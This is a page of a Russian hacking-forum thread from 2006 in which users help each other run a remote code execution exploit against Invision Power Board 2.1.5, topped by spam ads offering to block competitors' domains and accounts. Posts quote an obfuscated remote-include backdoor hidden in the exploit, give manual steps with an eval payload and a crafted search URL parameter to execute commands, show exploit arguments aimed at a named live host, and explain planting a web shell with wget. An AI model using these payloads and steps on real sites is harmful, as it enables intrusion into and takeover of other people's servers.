Уязвимость Invision Power Board 2.1.5

ВЫЕЗД ИЗ УКРАИНЫ • ОФОРМЛЕНИЕ ДОКУМЕНТОВ • БРОНИРОВАНИЕ • ПОМОЩЬ С ТЦК

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Уязвимость Invision Power Board 2.1.5

Страница 4 из 11

Последняя »

Опции темы

Поиск в этой теме

Опции просмотра

#31

29.04.2006, 09:04

~~Tem~~

Banned

Регистрация: 05.10.2005

Сообщений: 965

С нами: 10840706

Репутация: 547

А что у тебя не пашет ?

#32

29.04.2006, 09:22

degeneration x

Познающий

Регистрация: 11.10.2005

Сообщений: 97

С нами: 10831901

Репутация: 117

Вот цитата с dl

Цитата:

Тем, у кого эксплоит не выполняет команды:
Изучите внимательно сорец. Зная стиль Вульфа, я не мог не обратить внимания на эту строчку

Код:

$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr(116).chr(112).chr(58).
chr(47).chr(47).chr(114).chr(115).chr(116).chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53)'.
     '.chr(55).chr(105).chr(112).chr(98).chr(105).chr(110).chr(99).chr(46).chr(116).chr(120).chr(116))); //';

Несколько строк на перле - и вы увидите, что там скрывается. А когда увидите, то 100% поймете, почему команды могут не выполняться

#33

29.04.2006, 12:01

Azazel

Заведующий всем

Регистрация: 17.04.2005

Сообщений: 1,062

С нами: 11087066

Репутация: 561

Цитата:

Сообщение от Azazel

Описание баги http://www.securityfocus.com/archive.../30/0/threaded
Ручками тоже работает замечательно.

Для тех у кого не получается со сплойтом, опишу как пользоваться ручками.
1. Постим сообщение eval(system(dir)); //'
2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
4. Enter. Выполняется dir.

__________________
Full DNS report

#34

29.04.2006, 12:26

k1b0rg

Тут может быть ваша реклама.

Регистрация: 30.07.2005

Сообщений: 1,243

С нами: 10937126

Репутация: 1316

чо вы все прицепились к сплойту а? он рабочий, на 2.1.* может иногда не работать.

для тренировки попробуйте

-h resa.ipbhost.com -d / -l Des -p 123 -f 48 -v 0

#35

29.04.2006, 12:50

Black_Death

Новичок

Регистрация: 16.11.2004

Сообщений: 29

С нами: 11305375

Репутация: -2

Цитата:

гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; ROFL
малчык тыбэ скока лэт?
изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..

Ну ты даёшь!!!)))) Еще раз тебе поясню: не выполняется ни одна команда и на одном форуме! На локалхосте спокойно должна выполняться команда echo, но она тож не пашет!!!

Последний раз редактировалось k1b0rg; 29.04.2006 в 13:41.. Причина: мат и попытка унизить умственные способности у человека

#36

29.04.2006, 14:40

dasNICK

Новичок

Регистрация: 28.02.2006

Сообщений: 21

С нами: 10630281

Репутация: 0

У меня всё отлично пашет.. Сплоит исправил.. НО !
Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа. Подскажите команду которой это можно мделать

#37

29.04.2006, 14:48

k1b0rg

Тут может быть ваша реклама.

Регистрация: 30.07.2005

Сообщений: 1,243

С нами: 10937126

Репутация: 1316

Цитата:

Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа.

ну если put и get отказываються работать, попробуй header и post.

#38

29.04.2006, 15:33

dasNICK

Новичок

Регистрация: 28.02.2006

Сообщений: 21

С нами: 10630281

Репутация: 0

Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))

#39

29.04.2006, 16:02

Black_Death

Новичок

Регистрация: 16.11.2004

Сообщений: 29

С нами: 11305375

Репутация: -2

Цитата:

Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))

Если он у тебя на компе, то надо залить на сайт (ну на народе например) далее командой cd перейти в аплоадс и wget'ом залить туда шелл

#40

29.04.2006, 16:36

злюка

Постоянный

Регистрация: 11.11.2005

Сообщений: 317

С нами: 10787308

Репутация: 409

Цитата:

Сообщение от karapuz

вот у меня везде ошибки вида :
...
[~] Create new message ... [ FAILED ]
не подскажите в чем причина?

ну например вариант когда не у всех пользователей есть права постить сообщения

Страница 4 из 11

Последняя »

Предыдущая тема Следующая тема

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Взлом форумов IPB (Invision Power Board) < 2.0.4	Ice_Fro$T	Уязвимости CMS / форумов	19	18.11.2006 09:19
Множественные уязвимости в INVISION POWER BOARD 2.1.x	GreenBear	Уязвимости	6	02.03.2006 21:36
Эксплоит для Invision Power Board v2.1.3?	xdx	Уязвимости CMS / форумов	8	08.02.2006 22:56
Invision Power Board <= 1.3.1 Login.PHP SQL Injection Как пользоваться?	GrisS	Уязвимости CMS / форумов	16	02.02.2006 16:00
Вопрос про заливку шелла в Invision Power Board	DiNo	Уязвимости CMS / форумов	14	03.03.2005 13:40

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход